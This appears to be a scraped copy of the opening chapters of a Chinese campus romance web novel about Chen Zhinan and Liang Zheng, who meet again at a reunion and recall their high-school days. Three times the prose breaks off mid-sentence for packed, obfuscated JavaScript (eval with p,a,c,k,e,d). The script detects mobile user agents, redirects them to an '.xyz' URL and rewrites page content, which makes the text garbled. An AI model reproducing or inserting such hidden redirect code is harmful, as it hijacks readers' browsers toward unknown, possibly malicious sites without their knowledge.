《橘子海》 1. 楔子 《橘子海》 文/竹舟轻 2025.05.01 晋江文学城首发 — 又是一年暖冬。 大范围降温后,北京断断续续下过两场雪,雪花细小,落在柏油马路上很快销声匿迹,化雪不及,气温鲜见有回升的趋势。 街心繁华地段,女孩在一处大型娱乐会所门头前驻足。 褪去银装的国槐枝干衬得她背影更加寂寥。 休闲呢子大衣和简约牛仔裤拼凑成了今天的陈枳南。几个月前的炎炎夏日将她皮肤洗礼成小麦色,入冬之后,才肉眼可见养回来一些。 冷风忽至,陈枳南把脸埋进围巾里,只露出一双圆润眼睛。 “喂,周铭扬。”她抬头,“我到了,哪个房间?” “刚记起来你有提前到的毛病,早知道故意晚说半小时了。”电话那头传来浑厚的男声,“V307。你先进去等等我,我做个发型马上来。” “生日快乐啊。”陈枳南由衷祝福。 隔空都能听出对方的喜悦:“诶!这得当面说。” 笑着挂断电话,她提步走了进去。 这次生日,周铭扬特意组了场九周年高中同学聚会,寓意久久不散,叫来了天南海北的老同学,陈枳南也在其中。 想来也有两年没见周铭扬了,陈枳南竟然有些期待,又有些紧张。 因为不止周铭扬,这些年里,从前的许多同学和朋友都很少见到她。 大学毕业后时代急速变化,她全身心投入在热爱的领域,各类奖项拿到手软,还成立了自己的工作室,小有名气。 同事眼中的她一直过着居无定所的生活,不停漂在工作室loft和全国各地的出租屋里,而她却很享受这种颠沛流离。 唯有这样,才不会在某个普通的夜晚,想到不该想的事,和不该想的人。 梦幻炫彩的灯光将她拉进另一个世界,满地闪烁星光宛若置身银河。 陈枳南拒绝了服务人员带路,顺着地标,找到了房间门牌。 是个很大很暖和,充满未来科技感的KTV包厢。皮质沙发把桌子围了半圈,陈枳南解下围巾外套,坐在沙发一角。 密闭的空调房里有些许闷热,她看了看手表,还有十分钟。于是穿上衣服,打算出去透口气。 余音飘荡,光影交错时穿梭在长廊中,有种恍若隔世的感觉。 走廊尽头是洗手间,欧式装修风格和包厢相比异常割裂,如果能再统一一点观感也许会更好。陈枳南心想。 水流哗哗作响,刺骨的触感冲击手掌神经,醍醐灌顶的瞬间,一缕刺鼻烟味钻进她鼻腔。 循着气味飘来的方向望去,杂物间门把手上搭着一件冲锋衣外套,门虚掩,约莫两指宽的缝隙里,人影轻缓晃动。 烟雾缭绕看不真切,不过从轮廓判断,应该是个男人。 陈枳南不以为意,回到了包厢。 刚坐下便被破门而入:“久等了啊南大画家!”周铭扬梳着时兴大背头,一身卡其色西装出现在眼前。 高大的身形,挺直的脊背,表情龙飞凤舞。 还是老样子。 陈枳南莞尔一笑,上前迎他:“大老板的配置就是好,随便捯饬一下都这么帅。” “主要是气质,气质。”周铭扬嘿嘿地笑,略显憨态。 “其他人呢,怎么没跟你一起来?” “我让司机去迎他们了,应该快了吧。不急,咱先把喝的点上。”周铭扬兴致勃勃揽着陈枳南坐下。 口袋里电话突然响了起来,陈枳南接过:“大寿星的惊喜蛋糕送到了,我下去取,你先点啊。” “你坐着坐着,我去就行啦。”周铭扬摁住她肩膀,把饮品菜单扔进她怀里,“寿星第一个见到才叫惊喜。” 这理由让陈枳南无法拒绝。送走周铭扬后,她开始翻看菜单。 酒水类偏多,而且大部分是洋酒,也不知道他们现在的口味……可乐雪碧总不会出错的吧,陈枳南一会儿皱眉,一会儿点头。 门缝微开,涌进一阵凉风。 “这么快?是直接送到门口的吗?”陈枳南专注菜单,没有抬头。 人明明站在门口,却不说话。 像是感受到那道过于炽热的目光,陈枳南警觉掀了下眼皮,眼神交汇一霎恍若击碎无数屏障,不可控地将她传送回九年前,那个平凡的春天。 男人穿着冲锋衣站在光下,与记忆中的少年轮廓重叠,没变,又似乎变了。 身形颀长却单薄,五官分明,胡茬若隐若现,面色黯淡略显憔悴,挺拔依旧的脸上,不再有少年朝气。 是他。 是那个在无数个深夜,惦念过无数遍的人。 眼睛反复确认,心跳已然溃不成军。 “好久不见。”梁筝开口,嗓音些许沙哑。 诡异的安静被打破,近乎失态边缘,她极力克制情绪,咬牙挤出一个微笑。 “坐。”像极了招呼客人。 两人保持礼貌距离,并肩坐在沙发上。 看上去不像是同一个年纪的人。 梁筝瘦了很多,眼窝凹陷下眉骨尤为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765591|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突出,侧脸的轮廓比从前清隽。呼吸吐纳间,弥漫着淡淡烟草味,让陈枳南感到陌生。 一阵沉默后,她主动开口:“什么时候回来的?” “前天。” “哦。”陈枳南轻轻点头,“跨国航班来回时间久,还累人,应该多休息休息的。” “签证到期了。”梁筝不自然夹着肩膀,身体微弓,苦涩的笑更像是叹息,“不回去了。” 如同普通老友那样寒暄,只不过略显生硬。 她似是惊讶,随即淡淡一笑:“那……怎么不先回淮海看看。” 梁筝双手紧扣,眼眸中逐渐升起雾气。 良久,望向身旁的人。 “我想找一个人。” * “陈枳南,你的梦想是什么?” 盛夏微风拂过两张稚嫩的脸庞。 “我?”陈枳南思索片刻,摇摇头,“没有,但……如果非要说一个,那就是考上大学,然后完美毕业,在淮海找一份工作,最好是自己喜欢的工作。” 失笑声轻得几乎捕捉不到:“这明明是土掉渣的人生规划,哪叫梦想?” 陈枳南笑笑,牵动心底的风向标,如果可以......她明目张胆看向身旁的少年,眼睛星星般明亮。 心已有了取舍,虽难以宣之于口,却如同芭蕉叶被雨水击中,每一滴都有雀跃的回响。 “那,我应该有什么梦想?” “我觉得……”梁筝忽然正经,“以你的天赋,值得去更远,更高的地方站一站。” “更远的地方……”陈枳南支起上半身,做着畅想未来的梦,“北京?上海?或者国外?” “国外就算了吧,太远了,我们……联系不到你怎么办?”梁筝懒懒枕着胳膊,执著望着群星闪烁的夜空,“我说的,是艺术最高的殿堂。” 似懂非懂。她接着问:“那你呢,你的梦想是什么?” “世界这么大,我不得看着某人啊,万一真走丢了回不来,哭鼻子怎么办。” 他眼睛里满是星河,瞳孔中汇聚成一个小光影,在那光影里,她仿佛看到了自己。 蜜意在心尖融化。 世界上有六十多亿人。 书上说,人一生中会遇到千万个人,两个人相遇的概率有十万分之四,而相识的概率仅有千万分之四。 她是多么幸运。 那时陈枳南以为,他们真的会如梁筝所说的那样,走出淮海,走向远方,拥有一个光明绚烂的未来。 却没想到,他们的故事即将在一个寒冷的冬夜戛然而止。 2. 青橘(1) 年轮经转,往事被岁月慢慢尘封,身处快时代的人们,该如何回到青春记忆中美好的「那个时刻」? 漆黑瞳仁倒映忽明忽暗的屏幕,微微闪烁。 悬浮木桌前,陈枳南敲下最新一期的画展主题策划——嗅觉艺术。 气味是否能够视觉化呈现? 心理学上有个名词叫做普鲁斯特效应。比如打开花露水时,仿佛一下子回到了小时候没有空调风扇的炎夏,闻到樟脑味道,就会想起衣柜里安静躺着的一摞摞叠放整齐的衣服。 气味是人感受世界的媒介之一,同时也是记忆的载体。载着脑海深处那些明亮鲜活的画面,一瞬间,回到过去。 对于陈枳南来说,青春时代最难忘的味道不是连上四节课后食堂的饭香,也不是下过暴雨后操场跑道的泥土香,而是…… 春夏时节野生薄荷叶的淡淡清香。 距离高中毕业已经许多年了,过得太久,久到她都快忘了。 梁筝跑步带起的风,就是薄荷味。 * 陈枳南是从小镇中学转来的。 于她而言,从小生活的小镇储存了很多美好的童年回忆,所以起初她并不想转学。 可常年因工作奔波在外的陈爸为了说服她,提早在临海租好房子,又特意跨越大半个中国回了趟家,带她来新城市认路。 陈枳南不想无情回绝父亲的一片苦心,就答应了。其实她也是有一点私心的,青春期女生最是敏感,也最擅长隐藏自己的情绪,如果答应转学,父亲便可以带着她办手续、和她一起搬家,和她待得时间久一些……毕竟等一切都安顿好后,又要被迫回归一个人的生活。 她平日省吃俭用,起初是因为不想让父亲如此奔波,挣怎么也没有尽头的钱。 但准确来说,她更希望父亲能时常回家。 不要再让她自己一个人长大。 心事埋藏在心底的代价就是幸福过后面临的巨大戒断反应。 不过好在换了个新的环境,新学校新老师新同学,一切都要重新适应,可以暂时消磨掉一团乱麻的思绪。 梁筝是陈枳南转学来认识的第一个人。 午后天朗气清,整座城市弥漫着懒洋洋的气息。 淮海一中。 陈枳南在校门口大石碑前顿步。 身后公交车驶离,风吻过鬓间儿缕碎发,晃动,撩着她白皙通透的耳垂。 四月柳絮肆虐,既浪漫又让人惆怅,尤其学校这种半封闭场所,一座座小雪山更是随处可见。不过依旧是很美的,法桐树上的青绿色叶子微微颤抖,也许这辈子都想不到会和漫天的“飞雪”同时入画。 好舒服的画面啊。陈枳南兴致勃勃伸出手指,交叠成相框,捧在眼前。由左下到正上,正上再到右下,最后落在正前方时……一道纯白色的背影突然闯入视野,填满整个相框。 陌生的五官覆上来,满脸狐疑凝视着,她不自觉倒抽了口凉气,凉到了脚底。迅速收回手指,全身的血液仿佛都涌上脸颊,莫名有种做了坏事被抓包的感觉。 她忽然不敢对上那视线,只清楚对方是个男生。 “你是在拍我吗?”男生认真发问。 陈枳南被这明摆的调侃拨弄得有些脑热,又转念想,在这戒备放松又昏昏欲睡的午后,校门口站着一个不穿校服的人做着一些不合时宜的举动……的确令人不解。 男生哈哈一笑:“我开玩笑的。” 心里翻了个白眼,她立马挤出个僵硬的微笑,郑重问道:“同学你好,请问李宏伟主任的办公室怎么走?” 男生反应迅速:“哦,在二楼,从这边上去右转。”顺着办公室的方向指了指。 侧过身子时,陈枳南才抬头仔细观察,男生穿着白色校服衬衫,身形修长,扫帚不正经地扛在肩膀上,一派天然的少年气质。 “谢谢。”她点头致意,微笑道谢后继续向前走。 一定是惹事被罚来打扫卫生的吧?但看样子像是个好学生,不知道犯了什么错…… 内心上演了几秒狗血戏码后迅速镇定下来。漫画里的男主角都是这样的,只可惜她不是女主角,顶多可以做主角团奇遇冒险的一位观赏者。 春意正浓,学期快要一半,这时转学无疑是件引人注目的事情,有很大几率成为同学之间热聊的八卦,所以她尽可能保持自以为是的默默无闻和不动声色。 套着刚从教务处领来的校服外套,背着一只淡橘色双肩包,跟在班主任身后慢慢挪动,分外拘谨。 自习课昏昏欲睡的教室逐渐躁动起来。 班主任李宏伟拍拍手,语气威严:“同学们,今天我们班迎来了一位新同学。”抬手示意她向前站,“从今天起她就是我们高一四班的一员了,大家欢迎。” “大家好,我叫陈枳南,很高兴认识你们。”掌声响起的同时,陈枳南顺势做了自我介绍,似乎台下也没有多少人能听清楚,不过还是吸引了几十双眼睛上下打量着这个梳着马尾辫,白皙脸蛋上还有些小雀斑的女孩。 普普通通,没什么特别。 头顶上风扇吱呀吱呀转动,掀动桌上课本发出清脆声响,陈枳南打量着教室,阳光斜照,角度正好,像一盆打翻的金色油彩。 “你的座位在那边,有什么事情都可以来办公室找我,去吧。”李主任和蔼地笑。 “谢谢老师。” 像是结束一场战役,陈枳南迅速从讲台上溜下来,顺着李老师手指的方向快步融入了教室。好巧不巧,靠近窗台和靠近过道的位置一前一后都是空荡荡的。 哪个是我的桌子?难道可以自己挑么……她暗暗想,目光飘向后方——一盆巴掌大小的薄荷正倚靠着窗帘,微风轻抚,叶片摇曳,散出清凉的气味。索性撂下书包,坐在了靠后的空位上。 陈枳南不得不再次展露出她蹩脚的外交本领。 于是深吸一口气,毕恭毕敬地向身旁短发美女同桌伸出手,说:“你好,我叫陈枳南,以后……” “同学,你找谁?” 官方招呼还没打完,身后一道熟悉且极具威慑力的声音就倒灌进耳朵。 猛地转身,男生宽阔平直的肩膀遮挡了她大部分视线,修长身影慵懒倚靠在桌角,白色校服衬衫领扣到第二颗,豆大的水珠顺着脸颊溜进脖子里,锁骨上。他整个人就像泡在冰柠檬水里的薄荷叶。 对,薄荷叶。 陈枳南怔了一瞬。 “是你呀,小摄影师。”面前男生露出一排白牙,眉眼弯弯。 * 清晨雾气逐渐褪去。 日光树影,碧空白云,天然的取景框。 来到海中后两周时间里,陈枳南埋头拼命补习,总算是在月考前跟上了进度,没有过多被关注,也逐渐适应这类透明人角色,对任何人都一视同仁的保持距离,不做多余社交。 操场角落,没有阳光却看得到阳光的地方,陈枳南安置好装备,选了个绝佳的位置支起画架,沉浸其中。 作为美术特长生,总归是要去文科班的,一上午自习对她来说太过无趣,不如借着这为数不多的请假特权多练习一下色彩和构图。 “筝哥,你就帮帮我吧,我这脑子没你转得快,你要是出手肯定能成。” 操场叽叽喳喳,白噪音飞舞盖过了麻雀交头接耳。 有人?她立即警惕停下画笔。 “我出手?又不是我追人家。”篮球砰砰撞击水泥地面,“你也平时没少看漫画小说,照葫芦画瓢不就是了。”男生打趣似的调侃着,撤步,弹跳,轻松摘下前场篮板。 两个回合后,球被拦到另一个男生手上:“送花写情书什么的都太俗了,我又没有罗密欧的颜值,怎么留得住祝英台。” 对面男生“噗嗤”笑了一声:“那叫朱丽叶,还祝英台,这八字还没一撇呢,就想化蝶双宿双飞了?” 这声音怎么有些熟悉……陈枳南脑海中顿时有了人选,却不敢确认。 杂碎的脚步声迅速悉数落下,两个人交战在一起,战况激烈。 “你怎么不找你新来的同桌?女生会更懂女生吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765592|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我跟她没跟你熟啊,这种事知道的人越少越好,女生之间太复杂了……而且你跟那谁是同桌,离得更近。”求人的男生继续引诱,“你要是答应,我就包你一周游戏币。” 计谋奏效,拍球声戛然而止:“行吧,我想想,失败了可别找我。”一边说,一边满意自己进了个超远三分球。 “没问题!等着啊,我去买两瓶水!”求人的男生估计喜笑颜开,步子都轻快许多,转身向一旁走去。 谁要双宿双飞?陈枳南暗中得意,这可真是个绝妙听八卦的位置。 可惜两秒之后,她就不这么想了。 “你说啥?”身后男生好像没有听清,继续大跨步运到中场,弹跳传球,“接着!” 对面飞快闪退,棕黑色篮球出乎意料,越过两人向空中飞去,猛戳栏网,回弹,运行出一道完美弧线,不偏不倚撞倒了画架,连带着陈枳南手里的颜料和调色盘都被捶翻在地下,画面一片稀碎。 等陈枳南反应过来,才发现自己居然遭了飞来横祸。偷听八卦的代价……她长呼一口气。 男生意识到也许闯了祸,看着同伴背影,歪头抓了抓后脑勺。 “这个周铭……”他咬碎嘴里的棒棒糖,奔向操场角落。 本以为砸到什么学校新添的东西,转角却迎面撞上了陈枳南。 他穿着黑白相间的校服半袖,运动裤挽起,露出骨骼分明的脚踝,挺拔像一棵松树。 果然是梁筝。 那另一个就是周铭扬了。陈枳南脑袋里瞬间填补上很多信息,包括刚才听到新来的女同桌、八卦主人公。 梁筝眉头松懈,把手揣在兜里,轻哼一声:“这大白天的,怎么有小鬼偷听人说话啊。” 陈枳南跺脚:“谁是小鬼,一个半小时之前我就在这儿了,不过你们……”她佯装思索,实则心里早就盘算清楚,话里几分幸灾乐祸,“对了,李主任说,这学期班级纪律流动红旗如果拿不到,就罚全班课间操结束后再跑三圈,你们俩逃课打篮球,合谋对班长……” 梁筝打断陈枳南:“你都听见什么了?” 陈枳南耸肩:“能听的不能听的都听见了。” “不许往外说。”梁筝严肃道。 那股气息靠得愈来愈近,充斥着压迫感。 告老师这种小学生玩的把戏她才不稀罕,只是看着面前那张桀骜少年的脸面色凝重,眉毛拧在一起,忽然对这个极其少见的画面生出贪念。 转而撂下一句从电视机里学到的“黑话”:“你,威胁我?” 一阵微风恰好吹过,将地下画纸吹卷。小鹿般的眼睛在日光下闪烁。 眼前男生瞬间没了气焰。 于是清了清嗓,从口袋抽出手,蹲下帮忙收拾着残局。 居然这么奏效。陈枳南暗惊,也弯腰拾起画架残骸,趁势继续,语气却稍软:“这幅画我画了一早上,真是倒霉。” 梁筝捡起四仰八叉躺在地下的画纸,眼眸闪烁。画上柳树裹着跑道,红与绿的碰撞直击眼球,操场上人群活像一簇簇小精灵。 就是印上了一大片乌云般的黑色球印,显得异常割裂。 这球确实该洗了。 他手指轻微摩挲纸张纹路,喃喃道:“画的可以啊……”举目望着撇嘴的女生,轻描淡写,“这样吧,我赔你些颜料,这张脏了,你再重新画呗。” 陈枳南气结:“你说得轻巧,有些灵感都是一瞬的。”她夺过画纸,连带着他手里的画架零件一同夺过来。 “那你想要什么。”梁筝不情不愿地从里兜里掏出几张纸币,掌心摊开,递上去。 或许是卖惨,或许是破罐子破摔:“我所有零用钱都在这儿了,你挑吧。” “咋了这是?”周铭扬一手抓着一瓶矿泉水姗姗来迟,“哎?这不我同桌吗,怎么也在这儿?” 陈枳南目光越过面前的人,朝着周铭扬的方向扬扬下巴:“我也要游戏币。” 周铭扬还在状况外,梁筝咬牙,侧过头向他递了个眼神,他立马赔笑:“行。” 3. 青橘(2) 天空一片灰蒙蒙看不见云,麻雀踱步,几分无奈。 秉持着先交钱后交货的原则,周铭扬含泪放血,用自己攒下的稀有卡牌做交换,再贴补上买漫画书的钱,一晚上功夫成功搞到了两大铁盒游戏币,塞进那两个贪鬼桌洞里。幸好他家底还算丰厚,不然可真经不起这样散财。 陈枳南安静坐在座位上,捧着铁盒陷入沉思。这种样式的游戏币她是第一次见,虽然小镇中学附近也有游戏机,但大多都是投硬币。 总看着别人玩,她自己也没玩过几回。 这两个人还算有诚意,早知道就不要游戏币了,换个素描笔、小画板什么的也行呀……她努努嘴,有些后悔。 课间操结束后,教室七嘴八舌热火朝天,班长穆岚捧着一摞英语试卷忽然出现在讲台上:“梁筝,周铭扬,李主任叫你们去办公室。” 周铭扬手上的迷你虾条差点打翻,战战兢兢嘬了嘬手指,探头问:“什么事儿啊?” 穆岚摇头,一边发试卷一边故作威慑:“不知道。我在路上被叫住的,不过看他脸色,肯定不是什么好事,你俩惨喽。” 还沉浸在白嫖一大盒游戏币的喜悦中,梁筝怔在原地,视线投向正前方扎着马尾辫的背影身上。 十分钟后,两人恹恹从办公室出来。 “这个陈枳南,收了好处转头就往外说,也太不厚道了!我的零花钱,我的典藏卡啊。”周铭扬趴在护栏上,气愤道,“筝哥,期末考试你可得帮帮我啊。” 梁筝挺拔的脊背倚在护栏边,双臂交叉胸前,仰面迎风,试图平息心中不快。 “人家陈枳南是为了美术艺考做准备,你们俩呢,为NBA做准备?” 李主任知道两人逃课打球的事情后勃然大怒,以活力旺盛为由罚他们美化校园,且期末考试不准掉名次,掉一名抄一节课的板书。 梁筝作为主谋,惩罚翻倍。 “陈、枳、南。”梁筝喃喃自语,仿佛对这个名字有了新的定义。 他忽然想到什么,从裤子口袋里掏出一枚袖珍卡通发夹放在手心仔细端详,天线宝宝笑容明亮,一双大眼睛水汪汪,七分礼貌,三分无辜。 就像操场角落那片狼藉中,他抬头对上的那双眼睛一样。 昨天陈枳南抱着那堆东西匆匆离开时,不小心掉落了这个发夹。等他发现时,女孩已经走远。 本打算找时间物归原主,谁知英语小测验搞突袭,一来二去也就忙忘了。 桀骜意气的少年自是咽不下这口气。梁筝将发夹紧紧握在手里,唇角不自觉向上扬起。 * 今日大雾取消了课间操,改为广播时间。 一阵开场白后音乐响起。 对于高中生来说,这好比枯燥学习生活里一味珍贵的解药。为了更加有唱K的氛围,不知是谁特意把教室音响的旋钮拧到最底,响亮到听不清正常说话声。 “是S.H.E!”女生们兴奋大叫,七嘴八舌地唱,不论在不在调上,“我用像夏天的微笑,鼓励像冬天的心跳——” “我要听周杰伦!还有孙燕姿!”男生们也加入进来。 “哎南南,你喜欢听什么歌?”不知道是哪里发来的疑问。 陈枳南郁闷地把脑袋从“佛脚”里拔出:“我都喜欢。”她抽出一句话的时间敷衍了事已经是对自己最大的宽容。 此刻她就是一个等待被处刑的犯人,一只热锅上的蚂蚁,什么杰伦燕姿,都比不过下一节的化学小测。这可是生死攸关的时刻! 唱到那句“随身莫忘打狗棒,锦囊带着绝情丹”的时候,音乐忽然卡顿,电流声滋滋作响。 座下气氛正起劲,接二连三发出“诶”的疑问。 紧接着从音响传出来,是一个男播音员的声音。 “下面,播报一则寻物启事。”他故作停顿,所有人都跟着屏息凝神。 “高一四班的陈枳南同学,你的天、线、宝、宝小发夹不幸丢失,请到广播站失物招领处领取。” 播音员操着并不专业的播音腔,十分刻意拖长“天线宝宝”四个字。 教室音响开得不能再大,回音填满各个角落,恨不得整栋楼都能听到。 “高一四班的陈枳南同学,你的天线宝宝……” 就这样一连播报了三遍。 一遍比一遍郑重、刻意、焦灼。 口袋空空如也。陈枳南用力攥着衣服一角,瞬间明白事情的原委。 可为时已晚,意料之中的哄笑声还是响得刺耳。 很明显,陈枳南和发夹瞬间沦为了笑谈。 她讨厌这种成为人群焦点的感觉,很讨厌,非常讨厌。 “这好像是梁……”周铭扬吃惊,不自主嘟囔出声,左半边身体察觉到凉意。他僵硬侧头,撞上了这道目光。 据周铭扬后来谈到,她当时脸色铁青,眼泛凶光恨不得剜他一刀。 “这……梁筝真没跟我提过……”周铭扬举手投降。 “南南,你刚来不久还不熟悉广播站的路,要不我帮你去领吧?”班长穆岚从她座位后方站起,身子探到两人中间。 陈枳南似乎是拒绝了。 被肾上腺素完全支配下的大脑不记得自己是怎么走出教室的,只感觉周围的躁动越来越微弱,光线越来越沉闷。 梁筝懒懒地靠在墙壁上,安静等待失主找上门。 等待的时候脑海里浮现着各种画面,比如小女生害羞得面红耳赤不肯过来找他,或者怒火中烧抢了扫帚冲过来打他,又或者是对他捡到自己心爱物品感激涕零…… 陈枳南出现得比他想象中快。 样子也和他想象中的差之甚远。 没有面红耳赤,没有拿着扫帚,没有感激涕零。 女孩呼吸均匀,五官平复,干净整洁的校服看不出任何失态。 恶作剧结束,对方的异常冷静让梁筝有些怀疑自己的判断。 初见时,她举着手指相框在校门口左瞧右瞧,他对她的印象也仅仅是个带有艺术气质的普通女孩,如今倒觉得,是他想错了。 又对上那双小鹿般的眼睛,梁筝有些恍惚,像是做了什么对不起她的事……对不起就对不起吧!反正是她先不仁,自己才不义的,这不叫亏心,这叫扯平。 他下意识握紧了手心。 “嗬,跑这么快?”梁筝扶正腰身,一脸狡黠地说。 什么吊儿郎当的态度?不良少年!社会败类!斯文的外表丑陋的心灵! 看似镇静的陈枳南实则快要气吐血了。撤步,转身,她握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765593|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拳,极力克制怒火,引梁筝到广播室远处的护栏边。 “还给我。”陈枳南向前摊开手掌,眼睛死死盯着对方,试图在气势上压倒对方。 梁筝的确被盯得发毛,手心渐松,钻进一丝清凉。 长这么大,除了亲妈和校长,他梁筝还没怕过谁。喉咙梗起一口气,梗起尊严一般,摊开手掌,递去,试图让陈枳南自己动手拿回。 发夹重见天日的那刻,两人的心跳几乎同时揪紧。 可能是年代久远,也可能是攥在手心里太过用力,衔接图案和发夹本身的胶水松动解体,彻底脱开。 发夹碎了。 梁筝慌神:“我没、我可不是故意的。”嗓音着急中夹着颤抖,“刚才还好好的。真的。” 气氛有些灼热,不远不近的距离间弥漫着硝烟味道。 梁筝一鼓作气:“我们扯平了。” 陈枳南咬了咬牙,努力从震惊和悲伤中抽离出来。她知道这个发夹很幼稚,所有人都觉得很幼稚。 心头像被一把无名火烤着,双眸忽明忽暗。“我不明白哪里得罪了你,但我明白的是,不是所有人都像你一样,以戏耍别人为乐,可以轻描淡写地拿着别人的隐私做筹码。” “那也是你先告诉李主任的,咱们半斤八两。不,你更过分。”梁筝嘴一撇,有些孩子气,“你还拿了周铭扬的游戏币。” 陈枳南一时怔住,想起那天在操场角落听到的秘密。 些许无奈,严肃道:“你们密谋的事我没对任何人说过,我也不会闲的没事儿干告诉李主任。” “我不是说这个。” “逃课我也没说。” 一阵雾气浸润的风吹过,吹跑了思绪。闻言,梁筝微微张口,有话想说却又咽了回去。 “以你们两个的‘聪明才智’,就算我不说,李主任也迟早会知道的。”陈枳南一把抓过散架的发夹,指尖不经意划过梁筝掌心皮肉,刺痛隐隐。 “什么意思?”梁筝提高声音,“不是,不就一个发夹,至于这么生气吗……我再赔你个新……” 女孩走远,身后尾音渐渐被大雾吞噬。 是啊,至于这么生气吗。 如果换做别人,可能不会的。 但这是陈枳南妈妈留给她唯一的念想。 妈妈已经离开家很久了。记忆里的她总是陪着小小的枳南一起看天线宝宝的动画片,小女孩天生爱美,所以妈妈买了一套天线宝宝图案的发夹送给小枳南,里面有丁丁、迪西、拉拉、小波……可惜后来搬了几次家,只剩下这最后一个。 妈妈离开的时候只挎了个包,什么也没带走,包括陈枳南。 那双和小枳南极为相像的眼睛透着红,看不出,是不舍还是解脱。 她最后悔的事情就是没有在妈妈走的时候,说句再见。小时候的陈枳南曾想过,如果发夹是妈妈决定离开和她做的一场无声交易,那她宁愿不要爱美。 破碎的发卡事不关己般躺在文具盒里。 全身毛孔在刚才一瞬打开又迅速收紧,发觉手掌心汗津津,陈枳南才将一团乱麻的思绪捉回。 窗边一缕薄荷清香不合时宜钻进脑海。 心底暗暗宣告。 从今天起,薄荷是她最讨厌的植物。 4. 青橘(3) 午休时间,两个扫雪工在太阳底下忙忙碌碌。 “你扫完这些先回去吧。”汗珠滑落,梁筝抖了抖衣领,拎着木杆笤帚径直走过,“我去扫那边。” 周铭扬挠头:“那边我扫过了啊......” 梁筝小跑过去,还是那个熟悉的地方,只是比之前更多了些寂寥。 他提起精神环视四周,仔细,不放过任何角落,果真发现杂草伏倒一片的地方有零星被劈碎的花盆碎片。 穿越绿化带攀附上栏网的西瓜秧像个做了错事的孩子,弱弱探出脑袋。惭愧至极。 那天李宏伟的办公桌上,躺着半块黄瓤西瓜。 梁筝脸色微变,眼神全然黯淡了。 转角往深处走去,倏然,又亮起来。 乱七八糟被各种颜料沾染的水泥地面,好像一夜之间被精灵女孩施下魔法,换作礼物,送给了世界。 水草色彩花短裤裹住粉嫩肚皮,有只派大星正懒洋洋沐浴着春光,礼貌向他问好。 一双圆滚滚亮晶晶的大眼睛仿佛在说:“我可爱吗?” 月牙儿嘴唇撅起撇向上空,又仿佛在说:“笨蛋、呆子!我招你惹你了!” 神色忽顿,梁筝静静站着,一切声音都消失了。 他似乎错得很彻底。 良久,微启的薄唇染上一抹不易察觉的溺笑,带着丝自嘲。 逐渐蔓延扩大。 * “南南,你坐这不动半天了,画什么呢?”穆岚掏出一颗糖从后面递给她,“阿尔卑斯,橘子味儿的。” “我也想要。”周铭扬笑吟吟问。 “有你什么事儿。”穆岚白了一眼。 周铭扬又仿佛失恋了,无精打采趴在桌上。 广播站事件后,陈枳南并没有像狗血小说里被人刁难的女主角一样一蹶不振、郁郁寡欢,等待主角团安慰救赎。 一切和往常没什么差别,这才让四周不禁颤栗。 尤其是那两个男生。 “没什么。”陈枳南转身大方奉上草稿本,一脸期待地坏笑,“猜猜这是谁?” 穆岚上前探头,两秒钟后大吃一惊:“这不是李宏伟吗!” “有这么明显嘛……”陈枳南得意笑笑。 “哇塞,你还会画人像素描啊,这也太厉害了!”穆岚恨不得贴上去欣赏,“这眼睛应该再小点,你不知道,之前我刚当上班长的时候经常搞砸事情,他生气的时候,那眉毛拧成一坨,眼皮垂下来盖住半个眼睛,都快看不见啦!” “这算是基本功,考试要考的。你要吗,送给你做纪念!” “不不,我可不要!” 女孩们笑得不亦乐乎。 忽然,梁筝抱着卫生工具风尘仆仆从后门出现,汗水浸透了胸口的校服衬衫。陈枳南悄悄瞟了一眼后,转过身继续缝补作品。 “回来了?伟大的义务工作者。”穆岚亮出手里的旷课名单,上面昭然写着梁筝两个大字,“这回没逮住你,真是可惜了,我还想着看李主任派你去扫厕所呢。” 故意提高嗓音,小狼一样凶狠。 梁筝嘿嘿一笑,摁住名单用黑色签字笔在名字上划了两道,又神神秘秘掏出穆岚惦记很久的MP4,塞过去:“好同桌,求你个事儿。” * 身旁无人,穆岚一屁股坐在周铭扬位置上,趴得很近:“南南,下节体育课……你有事吗?” “没有,怎么啦?” “我也想要一张肖像图。”穆岚咬着下嘴唇笑,神采奕奕,“我给你当模特练手,你帮我画一张呗。” 陈枳南窃笑,笔杆抵着下巴佯装思考:“没问题。我尽量把你画成子怡,志玲也可以……” 春季天气阴晴不定,阳光刺眼,体育老师带领全班同学做了几遍新研究出来的课间操动作后,就宣布解散了。 陈枳南拿着准备好的画板和笔,和穆岚找了一个光影比例适宜的地方席地而坐。 “对,这个角度超美,保持……” 陈枳南很喜欢穆岚这种飒爽又漂亮的女生。齐耳的短发,浓密的睫毛,笑起来时苹果肌透着粉红,世界都跟着亮了。 